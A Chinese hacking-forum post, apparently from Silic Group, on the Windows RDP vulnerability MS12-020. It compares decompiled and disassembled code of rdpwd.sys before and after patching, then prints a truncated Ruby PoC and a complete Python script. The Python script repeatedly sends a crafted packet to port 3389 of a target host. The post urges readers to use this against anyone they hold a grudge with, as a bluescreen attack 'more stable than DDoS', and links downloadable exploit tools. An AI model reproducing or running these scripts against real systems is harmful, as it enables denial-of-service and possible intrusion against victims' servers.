帖子补充:
根据大家的测试,多数为直接蓝屏。
根据Silic Group的调查,蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写
微软通过MS11-065修改了rdpwd.sys文件并更新了版本,所以导致没打过MS11-065的机器就出现了蓝屏等症状。
通过本论坛交流群内成员的各种测试结果,发送580 byte数据包的基本可以成功,内网或者同C段则成功率比较高,其他情况则蓝屏现象严重
另外请不要质疑测试脚本与ms12-020漏洞的真实性,蓝屏则表示漏洞存在,只是shellcode在内存覆盖的位置有问题。
如果不爽,跟谁有仇就干谁,重启就蓝重启就蓝重启就蓝,补丁都打不上,这东西比DDoS稳定
本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。
PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。
注:本文并非专业分析
但是转载请注明本文来自:Silic Group Hacker Army[http://blackbap.org]
首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:
更新前的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3) { int v3; // esi@1 int v4; // eax@3 int v6; // [sp-8h] [bp-18h]@3 char v7; // [sp+4h] [bp-Ch]@3 int v8; // [sp+8h] [bp-8h]@3 int v9; // [sp+Ch] [bp-4h]@2 v3 = this; *(_DWORD *)a3 = 1; if ( *(_BYTE *)(this + 16) & 0x20 ) { while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) ) ; v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3); v6 = *(_DWORD *)(v9 + 16); if ( v4 ) { CreateAttachUserCon(14, 0, 0, v6); *(_DWORD *)(v9 + 20) = 9; } else { CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6); *(_DWORD *)(v9 + 20) = 11; *(_BYTE *)(v8 + 4) = 0; } if ( SendOutBuf(v3, v9)更新后的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3) { int v3; // esi@1 int v4; // eax@3 int v6; // [sp-8h] [bp-18h]@3 char v7; // [sp+4h] [bp-Ch]@3 int v8; // [sp+8h] [bp-8h]@3 int v9; // [sp+Ch] [bp-4h]@2 v3 = this; *(_DWORD *)a3 = 1; if ( *(_BYTE *)(this + 16) & 0x20 ) { while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) ) ; v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3); v6 = *(_DWORD *)(v9 + 16); if ( v4 ) { CreateAttachUserCon(14, 0, 0, v6); *(_DWORD *)(v9 + 20) = 9; } else { CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6); *(_DWORD *)(v9 + 20) = 11; *(_BYTE *)(v8 + 4) = 0; } if ( SendOutBuf(v3, v9)是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:
0002CB30 @HandleAttachUserReq@16 0002CBB8 push ss:[ebp+var_4] 0002CBBB push esi 0002CBBC call _SendOutBuf@8 0002CBC1 test eax, eax 0002CBC3 pop ebx 0002CBC4 jge loc_2CBD6 0002CBC6 lea eax, ss:[ebp+var_8] 0002CBC9 push eax 0002CBCA push ss:[ebp+var_8] 0002CBCD add esi, 0x70 0002CBD0 push esi 0002CBD1 call _SListRemove@12 0002CBD6 mov b1 a1, b1 1 0002CBD8 pop esi 0002CBD9 leave 0002CBDA retn b2 8这是后面加过检查和释放函数的:
0002CB44 @HandleAttachUserReq@16 0002CBCC push ss:[ebp+var_4] 0002CBCF push esi 0002CBD0 call _SendOutBuf@8 0002CBD5 test eax, eax 0002CBD7 jge loc_2CBD6 0002CBD9 lea eax, ss:[ebp+var_P] 0002CBDC push eax 0002CBDD push ss:[ebp+var_P] 0002CBE0 add esi, 0x70 0002CBE3 push esi 0002CBE4 call _SListRemove@12 //SListRemove(x,x,x) 0002CBE9 mov eax, ss:[ebp+P] 0002CBEC cmp eax, ebx 0002CBEE jz loc_2CBFD 0002CBF0 cmp b1 ds:[eax+5],b1 b1 0002CBF3 jnz loc_2CBFD 0002CBF5 push ebx //Tag 0002CBF6 push ebx //P 0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x) //CODE XREF: HandleAttachUserReq(x,x,x,x)+19j //HandleAttachUserReq(x,x,x,x)+94j ... 0002CBFD pop esi 0002CBFE mov b1 a1, b1 1 0002CC00 pop ebx 0002CC01 leave 0002CC02 retn b2 8通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查
0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x) 0001978F test eax, eax 00019791 jz short loc_1973D 00019793 push 0 00019795 push esi 00019796 push [ebp+arg_4] 00019799 push [ebp+var_4] 0001979C push [ebp+var_8] 0001979F push [ebp+var_C] 000197A2 push [ebp+arg_0] 000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x)上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。
下面就贴出ruby语言的利用脚本:
#!/usr/bin/env ruby # ms12-020 PoC # NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题 # Author: Joshua J. Drake(jduck) # From: BlackBap.Org # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 require 'socket' def send_tpkt(sd, data) sd.write(make_tpkt(data)) end def make_tpkt(data) [ 3, # version 0, # reserved 4 + data.length ].pack('CCn') + data end def make_x224(data) [ data.length ].pack('C') + data end def make_rdp(type, flags, data) [ type, flags, 4 + data.length ].pack('CCv') + data end host = ARGV.shift sd = TCPSocket.new(host, 3389) pkts1 = [] # craft connection request rdp = make_rdp(1, 0, [ 0 ].pack('V')) x224_1 = make_x224([ 0xe0, # Connection request 0, # ?? 0, # SRC-REF 0 # Class : Class 0 ].pack('CnnC') + rdp) pkts1既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:
#ms12-020 "chinese shit" PoC v2 (wireshark版) # 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用 # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 # 附件中添加time.sleep修正bug版本的py脚本 # BlackBap.Org import socket import sys buf="" buf+="x03x00x00x13" # TPKT, Version 3, lenght 19 buf+="x0exe0x00x00x00x00x00x01x00x08x00x00x00x00x00" # ITU-T Rec X.224 buf+="x03x00x01xd6" # TPKT, Version 3, lenght 470 buf+="x02xf0x80" # ITU-T Rec X.224 buf+="x7fx65x82x01x94x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125 buf+="x01x01x04x01x01x01x01xff" # "Fuck you Chelios" packet buf+="x30x19x02x04x00x00x00x00" buf+="x02x04x00x00x00x02x02x04" buf+="x00x00x00x00x02x04x00x00" buf+="x00x01x02x04x00x00x00x00" buf+="x02x04x00x00x00x01x02x02" buf+="xffxffx02x04x00x00x00x02" buf+="x30x19x02x04x00x00x00x01" buf+="x02x04x00x00x00x01x02x04" buf+="x00x00x00x01x02x04x00x00" buf+="x00x01x02x04x00x00x00x00" buf+="x02x04x00x00x00x01x02x02" buf+="x04x20x02x04x00x00x00x02" buf+="x30x1cx02x02xffxffx02x02" buf+="xfcx17x02x02xffxffx02x04" buf+="x00x00x00x01x02x04x00x00" buf+="x00x00x02x04x00x00x00x01" buf+="x02x02xffxffx02x04x00x00" buf+="x00x02x04x82x01x33x00x05" buf+="x00x14x7cx00x01x81x2ax00" buf+="x08x00x10x00x01xc0x00x44" buf+="x75x63x61x81x1cx01xc0xd8" buf+="x00x04x00x08x00x80x02xe0" buf+="x01x01xcax03xaax09x04x00" buf+="x00xcex0ex00x00x48x00x4f" buf+="x00x53x00x54x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x04x00x00" buf+="x00x00x00x00x00x0cx00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x01xcax01x00x00x00x00" buf+="x00x10x00x07x00x01x00x30" buf+="x00x30x00x30x00x30x00x30" buf+="x00x2dx00x30x00x30x00x30" buf+="x00x2dx00x30x00x30x00x30" buf+="x00x30x00x30x00x30x00x30" buf+="x00x2dx00x30x00x30x00x30" buf+="x00x30x00x30x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x00x00x00" buf+="x00x00x00x00x00x04xc0x0c" buf+="x00x0dx00x00x00x00x00x00" buf+="x00x02xc0x0cx00x1bx00x00" buf+="x00x00x00x00x00x03xc0x2c" buf+="x00x03x00x00x00x72x64x70" buf+="x64x72x00x00x00x00x00x80" buf+="x80x63x6cx69x70x72x64x72" buf+="x00x00x00xa0xc0x72x64x70" buf+="x73x6ex64x00x00x00x00x00" buf+="xc0" buf+="x03x00x00x0c" # TPKT, Version 3, Lenght 12 buf+="x02xf0x80" # ITU-T Rec X.224 buf+="x04x01x00x01x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125 buf+="x03x00x00x08" #TPKT, Version 3, Length 8 buf+="x02xf0x80" # ITU-T Rec X.224 buf+="x28" # MULTIPOINT-COMM-SERVICE T.125 buf+="x03x00x00x0c" # TPKT, Version 3, Lenght 12 buf+="x02xf0x80" # ITU-T Rec X.224 buf+="x38x00x06x03xef" # MULTIPOINT-COMM-SERVICE T.125 buf+="x03x00x00x0c" # TPKT, Version 3, Lenght 12 buf+="x02xf0x80" #ITU-T Rec X.224 buf+="x38x00x06x03xeb" # MULTIPOINT-COMM-SERVICE T.125 buf+="x03x00x00x0c" # TPKT, Version 3, Lenght 12 buf+="x02xf0x80" #ITU-T Rec X.224 buf+="x38x00x06x03xec"# MULTIPOINT-COMM-SERVICE T.125 buf+="x03x00x00x0c" # TPKT, Version 3, Lenght 12 buf+="x02xf0x80" #ITU-T Rec X.224 buf+="x38x00x06x03xed"# MULTIPOINT-COMM-SERVICE T.125 buf+="x03x00x00x0c" # TPKT, Version 3, Lenght 12 buf+="x02xf0x80" #ITU-T Rec X.224 buf+="x38x00x06x03xee"# MULTIPOINT-COMM-SERVICE T.125 buf+="x03x00x00x0b" # TPKT, Version 3, Lenght 12 buf+="x06xd0x00x00x12x34x00" #ITU-T Rec X.224 HOST = sys.argv[1] PORT = 3389 for i in range(1000): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT)) print "sending: %d bytes" % len(buf) s.send(buf) rec = s.recv(100) print "received: %d bytes" % len(rec) s.close() # BlackBap.Org测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug
附件说明:
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC * * Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版 * 西班牙语XP SP3和Win7/R2都成功 * * Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本 * 添加了time.sleep * * rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具 * rdp IP -v如果对方机器重启表示漏洞存在,且可利用。 * * Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的[email protected]的娱乐版PoC * * * Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 * BlackBap.Org *提供一个Win下测试成功的, 不需要ruby环境的EXE程序:
转自:http://bbs.blackbap.org/thread-2419-1-1.html
py的脚本请有条件的童鞋去linux测试下;
ruby的脚本在win下测试成功率(包括蓝屏)很高, 据三石解释, 如果蓝屏了, 那么是内存覆盖的区域错误, 如果不蓝屏直接重启了, 则表示shellcode执行成功;
最后, 附上一个根据ruby改写的exe程序, 效果应该是和ruby一致, 只不过不需要ruby的环境了, 欢迎大家测试:
下载地址:
MS12-020利用工具-含bug修正版.rar:
ms12-020.rar(单独 exe 文件):
留言评论(旧系统):
文章来源于lcx.cc:关于 MS12-020 的非专业分析 [附真正的 ruby 利用脚本]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论